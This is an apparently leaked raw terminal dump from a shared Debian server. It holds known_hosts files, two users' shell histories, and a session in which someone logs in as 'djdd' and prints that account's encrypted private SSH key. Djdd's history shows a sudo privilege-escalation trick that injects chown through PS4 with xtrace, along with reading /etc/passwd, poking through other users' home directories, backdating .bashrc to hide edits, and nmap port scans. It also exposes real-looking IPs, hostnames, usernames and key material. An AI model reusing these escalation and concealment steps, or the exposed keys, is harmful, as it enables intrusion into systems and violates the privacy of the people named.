gu7+3o0fuQnjJdXD9iIgwNAfamogurF79fkWAZfBNxDxSW5LD//L8w==
70.53.255.87 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
www.zloche.com,80.248.208.223 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYg
pHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1a
C6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUo
m2qChYoVBFLimYvH+b3fclaQaSichE=
www.liber-mundi.org,81.93.5.180 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAt
Sbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7
cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwc
WTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
zloche@vds349:~/.ssh$ cat known_hosts~ 
localhost ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdH
MWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QI
VmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3f
claQaSichE=
74.69.17.126 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5vHP/DNtJSXwf+2YNhLD
9MX2HkcuNqhGNtmJ6/sis9MTAQTEqnTi0Nw4yaoQL0qFM7nZkS8OGQI0X55c0Ud0JEXjb
XuikZEFUtzr2A+up19wewbpMsMRac87r+vtU218ozOUjYuurhJwF58DhrUKLrTwa5hl8p
RFTifSqhrhKCMBdQreHkmR8GoHIohMdkaPyIACKBgAaUDFX4VHoYW7AbJlO/3cJLxWEHo
UkRM9aHi6tfqXt69e8W1LGXCEI83xUyjOT+ndCm3x+w/Scuw7kBrjSYg0CXaxDTR5l8lB
MJAdenr9CFWPMKbeOLrvdAlpPewJ5EKRSxY4sWZqZwaqWQ==
www.zloche.com,81.93.5.180 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/
VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeT
EMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9
H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
server4,213.251.160.26 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+
BGB83ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdM
YCsDqa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4Tlt
UMbrLRHYfAi3HbwGj6bIiuE=
server1.zloche.net,65.92.156.62 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt
Wj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQ
mfdPB300tEh4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3f
mJDENJ/7QKV3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dE
AmNWZnAvsZTGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lj
a+wLTlplhGOEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
irc.rasterized.net,76.108.85.21 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy
aQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3D
zjz6XxknwMkaYo/KCM+CmTAQqYGj4AwxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBT
aV4qWE5vTIMoa9uz1159D5CpHMuAKU70=
server2,74.14.168.190 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzv
LAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tE
h4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QK
V3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZ
TGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhG
OEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server4.zloche.net ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB8
3ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsD
qa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbr
LRHYfAi3HbwGj6bIiuE=
70.55.196.23 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.254.248 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiP
CbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7h
Cvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1
WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzp
obD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+I
rXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.253.12 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zokio.com,69.70.67.2 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApry7VslTBItK
BaxF942eAL6/mz/P9F7XBNUySJEg2uU6N3GfwH5QBo0s1DDS6YAvGTftSYS+9Ix3mr7wA
l6nMQCwcEwiz4j2I3g38dVynfNosgdIIpTwkmuM7ZHogpSoQBs5eEdDW9tK+oZeDQi5N/
g7QGZvFwCSmoEUq/StvqS0N9Wc1H9SSW8Ppe/CWNuFi/eRiX9SrmMHYpj7Yi6IC+FZOKn
9rCeIAlmC6xkVa/6c3Kg0Mc5CG/2j2IqbtQ1E6Jcnzp/Fp8KbuIoje0HgjxP193K7tLUN
gu7+3o0fuQnjJdXD9iIgwNAfamogurF79fkWAZfBNxDxSW5LD//L8w==
70.53.255.87 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zloche@vds349:~$ cat .bash_history
cd ~/zloche.net/var/www/html/chat/users
emacs zlocheadmin.look 
emacs zlocheadmin.look 
w
write gumbie 
ssh stax@server2
w
w
ls
cd zloche.net/var/www/ch
cd zloche.net/var/www/html/chat/
ls
du -csh
df -h
w
ls
mkdir logs
cd logs/
w
ls
cd ..
rm serveur_php4.php
emacs serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
cd logs/
ls
less 05_06_07.log 
cd ..
php serveur_php4.php
rm lol*
less logs/05_06_07.log 
rm serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
rm serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
less logs/05_06_07.log 
php serveur_php4.php
cd users
rm *.friends
cd ..
php serveur_php4.php
rm serveur_php4.php
emacs serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs serveur_php4.php
emacs inc/banip.php
emacs versions/popup.html 
top -b |grep php
kill 29927
ls
rm logs/05_06_07.log 
nohup php serveur_php4.php &
emacs inc/banip.php
emacs inc/banip.php
cd zloche.net/var/www/html/chat/
less alwaysping.php 
cd zloche.net/var/www/html/chat/logs/
ls
less 06_06_07.log 
nmap 207.253.115.51
nmap -p0 207.253.115.51
nmap -P0 207.253.115.51
++++++++
ssh alex@www.zloche.com
emacs /vhost/home/zloche/.ssh/known_hosts
ssh alex@www.zloche.com
w
ssh alex@www.liber-mundi.org
cd zloche.net/var/mail/
ls
less stax 
less zloche 
less catch-all
cd ..
ls
cd www/html/
cd chat/
ls
cd logs/
less 06_06_07.log 
ls
cd ..
ls
cd inc/
ls
w
w
w
w
w
w
w
ww
w
w
w
w
w
ww
w
w
ww
ls
less floodcheck.php
less banip.php
less buyitem.php
less filter.php
less pickitem.inc
emacs pickitem.inc
w
w
id
ls -alh
cat .login
cat .bash_history
eho $SHELL
echo $SHELL
ls
w
bash
cd zloche.net/var/www/html/chat/versions/
ls
emacs index.php 
w
cd ../logs/
ls
less 06_06_07.log 
w
df -h
w
w
emacs ../inc/banip.php
emacs ../inc/banip.php
ls
less 06_06_07.log 
w
w
ls
cd ..
cd users
ls *.admin
ls *" "*
ls "* *"
ls * 
ls *
rm -*
unlink -_\ juvÃ©nile_-.*
unlink "-_\ juvÃ©nile_-.*"
ls
ls *.usr
rm -_\ juvÃ©nile_-.*
rm -f "-_\ juvÃ©nile_-.*"
unlink -_\ juvÃ©nile_-.*
unlink "-_\ juvÃ©nile_-.*"
unlink "-_ juvÃ©nile_-.usr""
unlink "-_ juvÃ©nile_-.usr"
unlink "-_\ juvÃ©nile_-.usr"
unlink "-_\ juvÃ©nile_-.act"
ls
ls -\ *
unlink "-_ juvÃ©nile_-.mail"
unlink "-_ juvÃ©nile_-.*"
unlink "-_ juvÃ©nile_-.act""
unlink "-_ juvÃ©nile_-.act"
unlink "-_ juvÃ©nile_-.usr"
unlink "- juvenile -."*
unlink "- juvenile -.usr""
unlink "- juvenile -.usr"
unlink "- juvenile -.act"
unlink "- juvenile -.mail"
du -csh
ls *.usr |grep -n ".usr"
cd ver
unlink "..::rewind::...usr" 
cd ../versions/
ks
ls
emacs infos.txt 
emacs infos.txt 
cd decor/
ls
ls
cd ..
emacs reggggg.php
rm reggggg.php 
emacs reggggg.php
rm reggggg.php 
emacs reggggg.php
rm reggggg.php 
emacs reggggg.php
rm reggggg.php 
emacs reggggg.php
rm reggggg.php 
emacs reggggg.php
emacs testtt.php
emacs reggggg.php 
rm register.php 
mv reggggg.php register.php
ls
cd ..
ls
rm serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs inc/banip.php
emacs inc/banip.php
php serveur_php4.php
emacs inc/banip.php
php serveur_php4.php
emacs users/blackxthink
emacs users/blackxthink.look
php serveur_php4.php
emacs serveur_php4.php
cd versions/
emacs popup.html
top -b |grep php
kill 9662
cd ..
ls
nohup php serveur_php4.php &
emacs inc/banip.php
emacs inc/filter.php
emacs inc/floodcheck.php
emacs versions/setdescription.php
chmod 777 users/whynot.desc 
ssh root@localhost
w
w
w
ls
cd zlo*/var/www/html/chat
cd users
emacs zokio.look
emacs zokio.look
clear
emacs whynot5.usr
emacs whynot5.usr
unlink whynot5.usr
emacs whynot5.usr
emacs whynot5.usr
emacs whynot.usr
mv whynot5.admin whynot.admin
find *.admin
emacs blackxthink.look
emacs blackxthink.look
emacs blackxthink.look
emacs zloche.look
clear
w
write zloche
write zloche pts/9
write zloche 19
write pts/19
write zloche pts/9
cd ..
ls
cd users
ls
find *.admin
emacs whynot.desc
emacs whynot.desc
emacs whynot.desc
find *.admin
emacs zokio.look
emacs zokio.look
emacs zokio.look
emacs aquafine.look
emacs aquafine.look
clear
cd zlo*
cd var
cd ww
cd www
cd html
cd chat
clear
ls
clear
cd users
find *.admin
unlink whitehack.admin
find *.admin
cd ..
ls
cd logs
ls
less 06_06_07.out | grep "Kicked"
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kick"
less 06_06_07.log | grep "kick"
less 06_06_07.log | grep "ked"
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
cd ..
cd users
cat j0k3rs.look
cat j0k3r.look
cd ..
cd logs
clear
less 06_06_07.log | grep "Kicked"
clear
cd ..
cd users
emacs Zokio.look
emacs zokio.look
emacs dezimtox.look
emacs dezimtox.admin
find *.admin
unlink fireflame.admin
clear
cd ..
cdlogs
cd logs
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
cd ..
cd users
emacs xsggx.look
emacs xsggx.look
cat misschixxa140.look
emacs xsggx.look
cd ..
cd logs
clear
less 06_06_07.log | grep "Kicked"
cd ..
cd users
find *.admin
w
write zloche
find *.admin
cat dezimtox.look
find *.admin
find *.admin
cd ..
cd logs
less 06_06_07.log | grep "Kicked"
ls
cd ..
cd users
find *.admin
lear
clear
cd ..
cd logs
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
clear

clear
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
cat mlleboulanger.look
cd ..
cd users
cat mlleboulanger.look
clear
cd ..
cd logs
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
cd zlo*/var/www/html/chat/users
emacs zlocheadmin.look
exit
cd zloche.net/var/www/html/chat/
ls
cd logs/
ls
less 07_06_07.log 0
ls
cd ../users
du -csh
ls *.pos
ls *.act
ls *.usr |grep -n ".usr"
w
w
w
w
write djdd
cd ~
cd zloche.net/var/www/html/chat/
rm serveur_php4.php
emacs serveur_php4.php
top -b |grep php
kill 20431
nohup php serveur_php4.php
nohup php serveur_php4.php &
rm serveur_php4.php
emacs serveur_php4.php
top -b |grep php
kill 7801
nohup php serveur_php4.php &
rm serveur_php4.php
emacs serveur_php4.php
top -b |grep php
kill 7844
nohup php serveur_php4.php &
cd users
ls
du -csh
rm \[server\].usr | cp stax.usr \[server\].usr
cat stax.look
emacs \[server\].look
netstat
netstat -n
nmap -p0-65536 localhost 
nmap -p0-65535 localhost 
emacs ../inc/filter.php
emacs rael.look
emacs ../teleports/lipo.tele
emacs ../teleports/lipo.tele
cd ..
emacs room15.objects
emacs room62.objects
emacs room62.objects
emacs room71.objects 
ping server3
ping www.zloche.net
emacs room71.objects 
cd bans/
ls
cd ..
cd logs/
du -csh
cd ../
ls bans/
du -csh
less fin
less find
ls
cd bans/
du -csh
less find 
cd ..
cd users
ls *.ip
ls *.mail
ls *.usr
ls *.usr |grep -n ".usr"
ls *é*
ls *Ã©*
cd ..
cd versions/
ls
less crossdomain.xml 
emacs index.php
rm ../users/xwhynotxbotx.*
rm ../users/xwhynotxbotx.act 
emacs index.php
cd zloche.net/var/www/html/chat/
ls
ls
cd versions/
rm infos.txt~ 
mv infos_.txt infox_.php
emacs popup.html
mv infox_.php infos_.php
emacs popup.html
w
cd zloche.net/var/www/html/chat/
top -b |grep php
kill 7899
nohup php serveur_php4.php &
less nohup.out 
top -b |grep php
kill 10771
rm nohup.out 
nohup php serveur_php4.php &
less nohup.out 
nmap -p0-65535 localhost
w
cd zloche.net/var/www/html/chat/users
emacs xposed.inv 
zloche@vds349:~$ cd mail
zloche@vds349:~/mail$ ls -alh
total 16K
drwx------  3 zloche vuser 4.0K Mar  8 03:20 .
drwxr-x---  8 zloche vhost 4.0K May  6 13:00 ..
drwx------  6 zloche vuser 4.0K Mar  8 03:05 .imap
-rw-------  1 zloche vuser   36 Mar  8 03:04 .subscriptions
-rw-------  1 zloche vuser    0 Mar  8 03:04 INBOX.Drafts
-rw-------  1 zloche vuser    0 Mar  8 03:04 INBOX.Sent
-rw-------  1 zloche vuser    0 Mar  8 03:04 INBOX.Trash
zloche@vds349:~/mail$ cd ..
zloche@vds349:~$ cd public_html/
zloche@vds349:~/public_html$ ls -alh
total 12K
drwxr-xr-x  2 zloche vuser 4.0K Mar  8 00:57 .
drwxr-x---  8 zloche vhost 4.0K May  6 13:00 ..
-rw-r--r--  1 root   vhost   80 Mar  8 00:57 index.html
zloche@vds349:~/public_html$ cat index.html 
<b>Home of <a
href="/admin/vhost.php?username=zloche">zloche@zloche.net</a></b>
zloche@vds349:~/public_html$ su -l djdd
bash: /bin/su: Permission denied
zloche@vds349:~/public_html$ su -l djdd
bash: /bin/su: Permission denied
zloche@vds349:~/public_html$ man login
Reformatting login(1), please wait...
zloche@vds349:~/public_html$ login djdd
No utmp entry.  You must exec "login" from the lowest level "sh"
zloche@vds349:~/public_html$ exit
vds349.sivit.org> login djdd
No utmp entry.  You must exec "login" from the lowest level "sh"
vds349.sivit.org> 
vds349.sivit.org> logout
Connection to 80.248.208.223 closed.
[deadlyacid@localhost ~]$ ssh djdd@80.248.208.223
Password: 
Linux vds349.sivit.org 2.6.12.6-xenU #1 SMP Fri Feb 24 01:08:35 CET 2006 i686
GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Thu Jun  7 10:19:12 2007 from server4.zloche.net
djdd@vds349:~$ ls -alh
total 52K
drwxrwxrwx   6 djdd vhost 4.0K Jun  6 17:04 .
drwx--x--x  22 root staff 4.0K Jun  3 16:33 ..
-rw-------   1 djdd djdd  3.5K Jun  7 15:07 .bash_history
-rw-r--r--   1 djdd djdd   567 Oct 27  2006 .bash_profile
-rw-r--r--   1 djdd djdd  1.8K Oct 27  2006 .bashrc
-rwxr-xr-x   1 djdd djdd   12K Jun  6 16:55 .cshrc
drwx------   2 djdd djdd  4.0K Mar 28 14:19 .irssi
drwx------   2 djdd djdd  4.0K Nov  9  2006 .ssh
drwxr-xr-x   5 djdd djdd  4.0K Oct 27  2006 .usermin
-rwxr-xr-x   1 djdd djdd    40 Jun  6 17:04 .x.sh
drwxrwxrwx   3 djdd djdd  4.0K Nov  4  2006 public_html
djdd@vds349:~$ cat .bash_history 
ls
mkdir public_html
mv * public_html/
ls -l
ls -la
chmod og-w .
mkdir public_html
fg
exit
lynx www.gmail.com
hmmmm
www.liveitsolution.com
whois liveitsolution.com |less
dig liveitsolution.com soa
no soa
dig liveitsolution.com NS
dig liveitsolution.com 
dig liveitsolutions.com NS
dig www.liveitsolution.com  
whois liveitsolution.com |less
dig @216.40.47.15 liveitsolutions.com NS
dig @216.40.47.16 liveitsolutions.com NS
dig @216.40.47.16 liveitsolutions.com soa
dig @216.40.47.15 liveitsolutions.com soa
dns1.registerfly.com
dig @216.40.47.15 liveits.com soa
whois liveits.com |less
dig @216.40.47.15 liveits.com soa
dig @216.40.47.15 liveits.com 
dig @216.40.47.15 liveits.com ns
dig liveits.com 
whois liveits.com |less
whois liveits.com | grep "Name Server"
whois liveits.com |less
whois liveits.com | grep "Name Server"
well, we have plenty of time to set this up....im in no hurry
passwd
kibitz -tty pts/5 gumbie
kibitz -tty pts/5 gumbie
mesg y
kibitz -tty pts/5 gumbie
'mesg y'
kibitz -tty pts/5 gumbie
kibitz -24213
exit
id
ssh-add
ssh-add 
ssh-add
scp -P 443  .ssh/id_dsa DJDD@rasterized.net./.ssh/id_dsa
scp -P 443  .ssh/id_dsa DJDD@rasterized.net:/.ssh/id_dsa
scp -P 443  .ssh/id_dsa DJDD@rasterized.net:.ssh/id_dsa
ssh DJDD@rasterized.net -p 443 -v
ssh-keygen 
ssh-keygen -t dsa 
ssh-keygen -t dsa 
ls .ssh
cat .ssh/id_dsa.pub 
ssh djdd@rasterized.net -P443 -v
ssh djdd@rasterized.net -P 443 -v
ssh djdd@rasterized.net -p 443 -v
ssh DJDD@rasterized.net -p 443 -v
ssh DJDD@rasterized.net -p 443 -v
ssh DJDD@rasterized.net -p 443 -v
ssh-agent bash
passwd
kibitz -tty pts/5 gumbie
kibitz pts/5 gumbie
kibitz -tty gumbie
ls -l `which kibitz`
kibitz -tty pts/5 gumbie
mesg
mesg y
kibitz -tty pts/5 gumbie
kibitz -29378
hmm
kibitz -39398
kibitz -tty pts/5 gumbie
i did
kibitz-29459
kibitz -29459
exit
cd ~
ls
cd public_html
ls
cd ..
ls -al
cd ..
ls -al
ls djdd -al
ls -al
ls
passwd 
ssh craplandia.org
screen irssi
screen -raAd
screen -raAd
exit
exit
w
uname -a
find ../
ls -alR ../
cat /etc/passwd
cat /etc/passwd | grep "bash" 
cd /home/cyrus
ls -alh
cd /home/raster
ls -alh
cd /home/stax
ls -alh
cd "%backup%~"
file \%backup\%\~
less \%backup\%\~
clear
ls -alh
screen -raAd
screen irssi
top
exit
screen -raAd
exit
w
ls -alh
id
ls
ls -l ../
cd ~irc
cd ~ircd
uname -a
screen -raAd
screen irssi
ls
screen -RR
screen -raAd
w
write stax 7 was that you?
write stax pts/7 was that you?
write stax was that you?
who
write stax tty7 was that you?
mesg y
write user stax was that you?
w'ddddddgklasdfjakfgkl'jakldf
wall
man write
screen -raAd
screen irssi
exit
screen -raAd
screen irssi
screen -raAd
exit
w
uname -a
w
sudo --version
man sudo
q
sudo -V
ls -alh
cat .bash_history
unenv | grep -i "hist"
env | grep -i "hist"
env | grep -i "user"
cat > .cshrc
cd ~
pwd
setenv SHELLOPTS xtrace
SHELLOPTS=xtrace
export SHELLOPTS=xtrace
exit
ls
csh
chsh
tcsh
tgcsh
ls -l /bin | grep "sh"
w
cat /etc/shells 
/bin/csh
sh
vim .bashrc
vi .bashrc
vi .bash_profile 
grep "SHELLOPTS" .bashrc
vi .bahrc
vi .bashrc
ls -alh .bashrc
vi .bashrc
touch -t 200610271634 .bashrc
ls -alh .bashrc
w
man xtrace
xtrace
vi .x.sh
env | grep "PS4"
echo $PS4
export PS4=`$(chown root.root .cshrc)`
export PS4='$(chown root.root .cshrc)'
echo $PS4
chmo +x .x.sh
chmod +x .x.sh
sudo ./.x.sh
ls -alh
ls -lisa .cshrc
sudo id
ls
w
su -l stax
ls -alh su
ls -alh /bin/susu
ls -alh /bin/su
sudo sustax -l
screen -raAd
exit
host server4
host server3
host server2
host server1
host server6
host server7
host server8
screen -raAd
djdd@vds349:~$ cd .ssh
djdd@vds349:~/.ssh$ ls -alh
total 20K
drwx------  2 djdd djdd  4.0K Nov  9  2006 .
drwxrwxrwx  6 djdd vhost 4.0K Jun  6 17:04 ..
-rw-------  1 djdd djdd   736 Nov  9  2006 id_dsa
-rw-r--r--  1 djdd djdd   611 Nov  9  2006 id_dsa.pub
-rw-r--r--  1 djdd djdd   680 Apr 18 15:30 known_hosts
djdd@vds349:~/.ssh$ cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,5A84045F7AE97BF5

OLpiQ4jAqNOvsx5EVaY5NtqAXYEhvy3z6AuL3dskW6WlgP4jCTykd2dTfcuY+7YV
HqhVI/izngdTgBVoz5xdsLwxPmXKYv7H6GBISHRzpAyq04XtI63a3lA2CIf+PKBV
m09LxyFAJ88t5j3X1V9E99pFCmVBkfjRDvIaKUbRhjWsATKh3Imm71OPqdZumA0q
3CGh0qEZW72I0l0xzBIUeEajfS3CSfxs2XOBeXLlG+eh1SmMdaS96R00pWiy4VCy
p/WBpQ9kDexlEfKPGNPpd4Stc9cZVNWb+2HXMXj6xriekcvSb30i/UrtJgVb9S+R
Xrhx4AC2XjCmw82KHvCqgrWN746deHdC22huP2n1Ig4mldhMrK6UqWNzavwJ/btv
nEMNn3r1hoQ8rhHn9PePeXOOxvc6D99vKhkI16RH0Ol+IXvyKPoqPJgaz8WGbvmC
rq3Brdt6iIa9/wPXLwB6bo7zPQ/uB3akg+s+e2laqWGuItvgcfurfJp9108WoFM0
y600xzfQxpOPqGzIjWa359O/v1opX1zviHjuI5NHUDOkKBoIXT8VZdAZr3SbGAMh
6td52Ps+2x3pdyYEiQx8NA==
-----END DSA PRIVATE KEY-----
djdd@vds349:~/.ssh$ cat id_dsa.pub 
ssh-dss
AAAAB3NzaC1kc3MAAACBAI6Lc8yLa2rY9x0usKkIuF+KOrnNY9rXPb4QepTiCnT0
XeeO3xvp/U2UGKFNRwvVIVRvBnlQYxLjNyPLq5b7GyOWF1wheREiyDwwPn/Ei67i
3flFSEEigwStaYZyqUblyhGb8V+/zuM6IU0+fUyJ3njg2dYCzuS6EmxG6CEXwYmJ
AAAAFQCuVVp4oCYDMEhVcrba8Rp8MlDE8QAAAIA+pKsVtYmlcxOUhuMLGgiLyM2e
/eV7xaeLqFD3fxSog7XjtuTxJlb7TzJ8X0/q0mLtfk4n/+kRX7UJCfLmzOgcR9vu
ROUWwt4VU5Aw4iFf8OuPgT2y5SlnGKlSNupStubGNIVO+PNKR6aW82KzpRQXEkCY
DfFBJGlG5JQr2KLpKgAAAIBk3u6xP29pU92Qwg+5DJuE6L4kHHW2f1NPjoCFb1wO
cf2yi2V4eT8prKP+IFjqOfuCaTB+0fK/kWtX/vTA/lei3x19JKLHwY0+nMmnvvep
VBch5IrPyZQs4zyPFRxc7cWAgXdPETdrCZ/q5h4CI2qBvXQ2gfckFcaOZWwET13l
Nw==
djdd@vds349.sivit.org
djdd@vds349:~/.ssh$ cat known_hosts 
rasterized.net,69.163.232.231 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0
e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj4A
wxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5CpH
MuAKU70=
76.108.85.21 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0
e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj4A
wxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5CpH
MuAKU70=
127.0.0.1 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDX
ZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRt
QDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fcla
QaSichE=

djdd@vds349:~/.ssh$ logout
